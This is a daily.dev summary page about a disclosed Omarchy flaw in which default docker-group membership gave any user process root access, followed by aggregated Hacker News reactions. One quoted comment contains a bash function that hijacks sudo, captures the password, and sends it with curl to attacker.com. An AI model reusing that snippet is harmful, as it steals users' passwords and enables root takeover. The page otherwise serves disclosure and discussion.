<!-- mobian-agent-page publisher="dailydev" canonical="https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc" -->

---
title: Omarchy: Any User Process Can Escalate to Root | daily.dev
description: A security researcher disclosed that Omarchy&#x27;s default configuration added users to the Linux docker group, granting essentially every process in a user&#x27;s...
canonical: https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc
twitter:card: summary_large_image
twitter:site: @dailydotdev
og:type: website
og:site_name: daily.dev
og:title: Omarchy: Any User Process Can Escalate to Root | daily.dev
og:description: A security researcher disclosed that Omarchy&#x27;s default configuration added users to the Linux docker group, granting essentially every process in a user&#x27;s...
og:url: https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc
og:image: https://api.daily.dev/og/posts/Ql3Mp2HGc.png
og:image:alt: Omarchy: Any User Process Can Escalate to Root
og:image:width: 1200
og:image:height: 630
og:locale: en
---

> ## Documentation Index
> Fetch the complete documentation index at: https://daily.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Omarchy: Any User Process Can Escalate to Root

**[Lobsters](https://daily.dev/sources/lobsters)** · 5 min read · 2 upvotes · 0 comments

## Summary

A security researcher disclosed that Omarchy's default configuration added users to the Linux docker group, granting essentially every process in a user's desktop session root-equivalent access via the Docker socket, without sudo or a password prompt. This meant any compromised application—browsers, editors, AI coding agents, npm scripts—could escalate to full root and read protected files like /etc/shadow. The issue affected all Omarchy versions prior to 4.0.1 and was introduced in June 2025, fixed August 24, 2026 after private responsible disclosure. The documentation misleadingly implied Docker ran rootless. The author recommends switching to Podman, which is daemonless and doesn't require root access, and criticizes Omarchy's security decision-making track record.

## Full article

daily.dev links to this article rather than hosting it. Read it at the original source: <https://0xcc.io/posts/omarchy-root-creds>

## Questions this post answers

### Why does adding a user to the docker group on Linux give them root access?

Members of the docker group can communicate with the Docker daemon's socket at /var/run/docker.sock, and since the daemon runs as root, any process with socket access can instruct it to launch a container mounting the entire host filesystem, then read or write those files as root. Docker itself explicitly warns that docker group membership is equivalent to granting root privileges.

_daily.dev surfaces write-ups like this so developers auditing container permissions catch privilege escalation risks early._

### What Omarchy versions are vulnerable to the docker group root escalation issue?

Versions prior to 4.0.1 are affected, including the latest 3.x ISO release, 3.8.4. The default user account was placed in the docker group starting with a commit on June 1, 2025, briefly disabled the next day, then re-enabled on June 17, 2025, and finally removed from the default configuration on August 24, 2026, which is the fix shipped in 4.0.1.

_daily.dev helps Omarchy users track patch timelines like this so they know exactly when to update._

### Is Podman more secure than Docker because it avoids root access requirements?

Podman is daemonless, meaning containers run as normal child processes in their own user namespaces without requiring any root access, unlike Docker where the daemon runs as root and docker group membership effectively grants root-equivalent privileges. A long-time user reported it has fully replaced Docker workflows across many months of use.

_daily.dev helps developers weighing docker versus podman compare the security tradeoffs before committing._

## Community take

How the wider developer community reacted, aggregated from 3 discussions and 668 comments across hackernews, lobsters (as of 2026-08-31).

**TL;DR:** The disclosure sparked a broad debate about Omarchy's security practices and its heavy reliance on AI-generated ('vibe-coded') changes, with many arguing the docker-group default was a serious, avoidable mistake, while others noted docker-group membership is a widely known and pre-existing risk across many distros.

**Sentiment:** 10% positive · 25% mixed · 65% skeptical

**The case for**

- Some defend Omarchy as a genuinely well-designed, convenient, keyboard-driven setup that saves users the pain of manually configuring Hyprland/Arch.
- A few note the maintainers fixed the issue quickly once disclosed.
- Some argue the docker-group risk is not unique to Omarchy and is common practice on many systems (e.g. NixOS, Ubuntu) without prior outcry.

**The pushback**

- Many argue a distro should be secure by default and that silently granting root-equivalent access via the docker group is unacceptable, especially when docs implied rootless operation.
- Heavy criticism of the project's apparent reliance on largely unreviewed, AI-generated ('vibe-coded') commits merged straight to main without proper review or PR process.
- Concerns that this is part of a pattern of repeated security/process failures rather than an isolated oversight.
- Skepticism that plugins/themes from community sites could introduce further malware/supply-chain risk.
- Some point out that sudo itself is largely 'security theater' since malware can trivially phish passwords via shell rc files, undermining arguments that the docker-group fix meaningfully improves security.

**By community**

- hackernews (heated): Discussion splits between sharp criticism of Omarchy's insecure defaults and AI-driven development process versus defenders calling the docker-group risk common knowledge and the fix appropriately quick, with side arguments spiraling into broader debates about Linux vs Windows and desktop customization.
- hackernews (mixed): No comment content provided for this thread, so sentiment cannot be meaningfully assessed.
- lobsters (mixed): No comment content provided for this thread, so sentiment cannot be meaningfully assessed.

**Hottest debate:** Whether the docker-group default was a novel, negligent security failure enabled by unreviewed AI-generated commits, or just a widely-known and unremarkable docker convenience trade-off that users blew out of proportion.

**Open questions**

- Would a human reviewer have caught this issue if the commit process weren't largely automated/AI-driven?
- How much of Omarchy's codebase is genuinely reviewed versus merged directly from AI output?
- Are Omarchy's plugin/theme ecosystems vetted for malicious code given the project's apparent lax review process?

**Highlights**

> > What is different here? I don’t understand how this is a question. What’s different is that it comes configured this way out of the box, silently, without warning. It’s functionally equivalent to opting in to giving all user accounts root privileges, which is not what anyone expects the default configuration to be. You can choose to configure your installs this way if you choose to do so. It should not come this way quietly by default.
> — [Aurornis on hackernews · 2 comments](https://news.ycombinator.com/item?id=49501151)

> That remains to be seen. The whole concept is still in its infancy. An AI reviewer should have caught these issues when they were PRs. But you see, it wasn't even a PR. It was just DHH making a straight up commit on the main branch (as far as I can see). With a message "Do all the additional Docker configuration needed". Was it even AI-assisted? At least the commit message wasn't, AIs write smarter commit messages than that. I said on my earlier comment that DHH and AI get ridiculed automatically because people hate both. That doesn't mean that the ridicule isn't always justified. https://github.com/omacom/omarchy/commit/25799ee91f54c35e6d3...
> — [vga1 on hackernews · 1 comments](https://news.ycombinator.com/item?id=49501403)

> To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () {     realsudo=$(which sudo)     read -r -s -p "[sudo] password for $USER: " password     echo "$USER: $password" | \         curl -F 'p=<-' https://attacker.com >/dev/null 2>&1     $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1     $realsudo "${@:1}" }
> — [lrvick on hackernews · 7 comments](https://news.ycombinator.com/item?id=49500588)

> It’s that age old “start a docker container with the docker socket in the container and you are effectively root”. What are we talking about here? This is not new?
> — [teekert on hackernews](https://news.ycombinator.com/item?id=49501041)

> There was no oversight and no security. It's vibe-coders pushing unvetted shell scripts and dotfiles. They "immediately fixed it" after it blew up on X/Twitter. Just like all the other issues they've had in the past few weeks. And now they formed a "security team" lol.
> — [troupo on hackernews · 1 comments](https://news.ycombinator.com/item?id=49502099)

**Source threads**

- [hackernews](https://news.ycombinator.com/item?id=49499854) · 287 points · 659 comments
- [hackernews](https://news.ycombinator.com/item?id=49482545) · 2 points · 2 comments
- [lobsters](https://lobste.rs/s/bxihn3/omarchy_any_user_process_can_escalate) · 39 points · 7 comments

## Similar posts on daily.dev

- [A Word on Omarchy](https://daily.dev/posts/a-word-on-omarchy-load87o3o) · Lobsters · 72 upvotes · 32 comments

---

Tags: [#linux](https://daily.dev/tags/linux), [#docker](https://daily.dev/tags/docker)

[View this post on daily.dev](https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc)

```json
{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://daily.dev/#organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180},"sameAs":["https://twitter.com/dailydotdev","https://github.com/dailydotdev","https://www.linkedin.com/company/daily-dev-ltd"]},{"@type":"WebSite","@id":"https://daily.dev/#website","url":"https://daily.dev","name":"daily.dev","publisher":{"@id":"https://daily.dev/#organization"},"potentialAction":{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://daily.dev/search?q={search_term_string}"},"query-input":"required name=search_term_string"}}]}
{"@context":"https://schema.org","@type":"TechArticle","headline":"Omarchy: Any User Process Can Escalate to Root","url":"https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc","mainEntityOfPage":{"@type":"WebPage","@id":"https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc"},"datePublished":"2026-08-30T20:41:09.599Z","dateModified":"2026-08-31T00:27:31.648Z","description":"A security researcher disclosed that Omarchy's default configuration added users to the Linux docker group, granting essentially every process in a user's...","image":"https://media.daily.dev/image/upload/s--OHB84bZF--/f_auto/v1722860399/public/Placeholder%2010","thumbnailUrl":"https://media.daily.dev/image/upload/s--OHB84bZF--/f_auto/v1722860399/public/Placeholder%2010","isAccessibleForFree":true,"articleSection":"Lobsters","inLanguage":"en","publisher":{"@type":"Organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180}},"author":{"@type":"Organization","name":"Lobsters","logo":"https://media.daily.dev/image/upload/s--tl8v_Fku--/f_auto,t_logo/v1698841318/logos/lobste.jpg","url":"https://daily.dev/sources/lobsters"},"commentCount":0,"discussionUrl":"https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc","interactionStatistic":[{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":2},{"@type":"InteractionCounter","interactionType":{"@type":"CommentAction"},"userInteractionCount":0}],"keywords":"linux,docker","timeRequired":"PT5M"}
{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://daily.dev"},{"@type":"ListItem","position":2,"name":"Lobsters","item":"https://daily.dev/sources/lobsters"},{"@type":"ListItem","position":3,"name":"Omarchy: Any User Process Can Escalate to Root"}]}
{"@context":"https://schema.org","@type":"FAQPage","@id":"https://daily.dev/posts/omarchy-any-user-process-can-escalate-to-root-ql3mp2hgc#faq","mainEntity":[{"@type":"Question","name":"Why does adding a user to the docker group on Linux give them root access?","acceptedAnswer":{"@type":"Answer","text":"Members of the docker group can communicate with the Docker daemon's socket at /var/run/docker.sock, and since the daemon runs as root, any process with socket access can instruct it to launch a container mounting the entire host filesystem, then read or write those files as root. Docker itself explicitly warns that docker group membership is equivalent to granting root privileges. daily.dev surfaces write-ups like this so developers auditing container permissions catch privilege escalation risks early."}},{"@type":"Question","name":"What Omarchy versions are vulnerable to the docker group root escalation issue?","acceptedAnswer":{"@type":"Answer","text":"Versions prior to 4.0.1 are affected, including the latest 3.x ISO release, 3.8.4. The default user account was placed in the docker group starting with a commit on June 1, 2025, briefly disabled the next day, then re-enabled on June 17, 2025, and finally removed from the default configuration on August 24, 2026, which is the fix shipped in 4.0.1. daily.dev helps Omarchy users track patch timelines like this so they know exactly when to update."}},{"@type":"Question","name":"Is Podman more secure than Docker because it avoids root access requirements?","acceptedAnswer":{"@type":"Answer","text":"Podman is daemonless, meaning containers run as normal child processes in their own user namespaces without requiring any root access, unlike Docker where the daemon runs as root and docker group membership effectively grants root-equivalent privileges. A long-time user reported it has fully replaced Docker workflows across many months of use. daily.dev helps developers weighing docker versus podman compare the security tradeoffs before committing."}}]}
```

